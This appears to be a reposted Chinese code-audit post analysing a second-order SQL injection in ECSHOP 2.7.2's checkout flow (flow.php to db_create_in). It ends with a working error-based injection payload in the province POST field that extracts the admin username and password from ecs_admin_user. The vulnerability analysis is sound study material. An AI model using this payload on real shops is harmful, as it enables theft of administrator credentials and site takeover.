这是一个很老的漏洞了。最近学习代码审计在乌云上看到的，作者只给了部分分析，和利用的exp。
0x1代码分析
漏洞出现在flow.php
在flow.php的372行有如下代码
{
/*
* 保存收货人信息
*/
$consignee = array(
‘address_id‘ => empty($_POST[‘address_id‘]) ? 0 : intval($_POST[‘address_id‘]),
‘consignee‘ => empty($_POST[‘consignee‘]) ? ‘‘ : trim($_POST[‘consignee‘]),
‘country‘ => empty($_POST[‘country‘]) ? ‘‘ : $_POST[‘country‘],
‘province‘ => empty($_POST[‘province‘]) ? ‘‘ : $_POST[‘province‘],
‘city‘ => empty($_POST[‘city‘]) ? ‘‘ : $_POST[‘city‘],
‘district‘ => empty($_POST[‘district‘]) ? ‘‘ : $_POST[‘district‘],
‘email‘ => empty($_POST[‘email‘]) ? ‘‘ : $_POST[‘email‘],
‘address‘ => empty($_POST[‘address‘]) ? ‘‘ : $_POST[‘address‘],
‘zipcode‘ => empty($_POST[‘zipcode‘]) ? ‘‘ : make_semiangle(trim($_POST[‘zipcode‘])),
‘tel‘ => empty($_POST[‘tel‘]) ? ‘‘ : make_semiangle(trim($_POST[‘tel‘])),
‘mobile‘ => empty($_POST[‘mobile‘]) ? ‘‘ : make_semiangle(trim($_POST[‘mobile‘])),
‘sign_building‘ => empty($_POST[‘sign_building‘]) ? ‘‘ : $_POST[‘sign_building‘],
‘best_time‘ => empty($_POST[‘best_time‘]) ? ‘‘ : $_POST[‘best_time‘],
);
if ($_SESSION[‘user_id‘] > 0)
{
include_once(ROOT_PATH . ‘includes/lib_transaction.php‘);
/* 如果用户已经登录，则保存收货人信息 */
$consignee[‘user_id‘] = $_SESSION[‘user_id‘];
save_consignee($consignee, true); //进入save_consignee函数
}
跟踪save_consignee函数，在includes/lib_transaaction.php的516行
function save_consignee($consignee, $default=false)
{
if ($consignee[‘address_id‘] > 0)
{
/* 修改地址 */
$res = $GLOBALS[‘db‘]->autoExecute($GLOBALS[‘ecs‘]->table(‘user_address‘), $consignee, ‘UPDATE‘, ‘address_id = ‘ . $consignee[‘address_id‘]);
}
else
{
/* 添加地址 */
$res = $GLOBALS[‘db‘]->autoExecute($GLOBALS[‘ecs‘]->table(‘user_address‘), $consignee, ‘INSERT‘);
$consignee[‘address_id‘] = $GLOBALS[‘db‘]->insert_id();
}if ($default)
{
/* 保存为用户的默认收货地址 */
$sql = "UPDATE " . $GLOBALS[‘ecs‘]->table(‘users‘) .
" SET address_id = ‘$consignee[address_id]‘ WHERE user_id = ‘$_SESSION[user_id]‘";$res = $GLOBALS[‘db‘]->query($sql);
}return $res !== false;
}
/*从代码可以看出我们POST过来的数据进入了数据库*/
我们跟踪下province变量的去处。
看到第527行，有如下代码
$region = array($consignee[‘country‘], $consignee[‘province‘], $consignee[‘city‘], $consignee[‘district‘]);
$shipping_list = available_shipping_list($region);
$cart_weight_price = cart_weight_price($flow_type);
$insure_disabled = true;
$cod_disabled = true;
可以看到数据都放到$region这个数组里面来了，我们继续跟踪$region
然后看到如下代码
$order = array(
‘shipping_id‘ => intval($_POST[‘shipping‘]),
‘pay_id‘ => intval($_POST[‘payment‘]),
‘pack_id‘ => isset($_POST[‘pack‘]) ? intval($_POST[‘pack‘]) : 0,
‘card_id‘ => isset($_POST[‘card‘]) ? intval($_POST[‘card‘]) : 0,
‘card_message‘ => trim($_POST[‘card_message‘]),
‘surplus‘ => isset($_POST[‘surplus‘]) ? floatval($_POST[‘surplus‘]) : 0.00,
‘integral‘ => isset($_POST[‘integral‘]) ? intval($_POST[‘integral‘]) : 0,
‘bonus_id‘ => isset($_POST[‘bonus‘]) ? intval($_POST[‘bonus‘]) : 0,
‘need_inv‘ => empty($_POST[‘need_inv‘]) ? 0 : 1,
‘inv_type‘ => $_POST[‘inv_type‘],
‘inv_payee‘ => trim($_POST[‘inv_payee‘]),
‘inv_content‘ => $_POST[‘inv_content‘],
‘postscript‘ => trim($_POST[‘postscript‘]),
‘how_oos‘ => isset($_LANG[‘oos‘][$_POST[‘how_oos‘]]) ? addslashes($_LANG[‘oos‘][$_POST[‘how_oos‘]]) : ‘‘,
‘need_insure‘ => isset($_POST[‘need_insure‘]) ? intval($_POST[‘need_insure‘]) : 0,
‘user_id‘ => $_SESSION[‘user_id‘],
‘add_time‘ => gmtime(),
‘order_status‘ => OS_UNCONFIRMED,
‘shipping_status‘ => SS_UNSHIPPED,
‘pay_status‘ => PS_UNPAYED,
‘agency_id‘ => get_agency_by_regions(array($consignee[‘country‘], $consignee[‘province‘], $consignee[‘city‘], $consignee[‘district‘]))
);
数据进入了get_agency_by_regions函数，我们跟进去看看。
来到includes\lib_order.php 第2124行代码
看到此函数的定义
function get_agency_by_regions($regions)
{
if (!is_array($regions) || empty($regions))
{
return 0;
}$arr = array();
$sql = "SELECT region_id, agency_id " .
"FROM " . $GLOBALS[‘ecs‘]->table(‘region‘) .
" WHERE region_id " . db_create_in($regions) .
" AND region_id > 0 AND agency_id > 0"; //进入数据库了。
$res = $GLOBALS[‘db‘]->query($sql);
while ($row = $GLOBALS[‘db‘]->fetchRow($res))
{
$arr[$row[‘region_id‘]] = $row[‘agency_id‘];
}
if (empty($arr))
{
return 0;
}$agency_id = 0;
for ($i = count($regions) - 1; $i >= 0; $i--)
{
if (isset($arr[$regions[$i]]))
{
return $arr[$regions[$i]];
}
}
}
其中$region被传入到db_create_in函数中。继续跟踪db_create_in函数
再includes\lib_common.php发现该函数的定义
function db_create_in($item_list, $field_name = ‘‘)
{
if (empty($item_list))
{
return $field_name . " IN (‘‘) ";
}
else
{
if (!is_array($item_list)) //如果$item_list不是数组
{
$item_list = explode(‘,‘, $item_list); //用逗号分隔为数组
}
$item_list = array_unique($item_list); //去除数组中重复的值
$item_list_tmp = ‘‘;
foreach ($item_list AS $item) //循环遍历 $item_list 里的数据
{
if ($item !== ‘‘)
{
$item_list_tmp .= $item_list_tmp ? ",‘$item‘" : "‘$item‘";
}
}
if (empty($item_list_tmp)) //如果$item_list_tmp为空
{
return $field_name . " IN (‘‘) "; //直接返回 id IN (‘‘)
}
else
{
return $field_name . ‘ IN (‘ . $item_list_tmp . ‘) ‘;
}
}
}
可以看到$region数组传进去后返回了‘ IN (‘ . $item_list_tmp . ‘) ‘
虽然此处有单引号括起来了。但是，没有影响的。因为此处是二次注入。当数据进入mysql后转义字符会被去除。
所以完全不受GPC的影响。
0x2漏洞利用
把任意商品加入购物车在填写配送地址那一页，有地区选择
flow.php?step=consignee&direct_shopping=1
比如省选择安徽
其中POST数据如下
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111
&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80
&step=consignee&act=checkout&address_id=
province=3
改成
province=3‘) and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
这样就注入完成了。
ECSHOP 2.7.2二次注入分析,布布扣,bubuko.com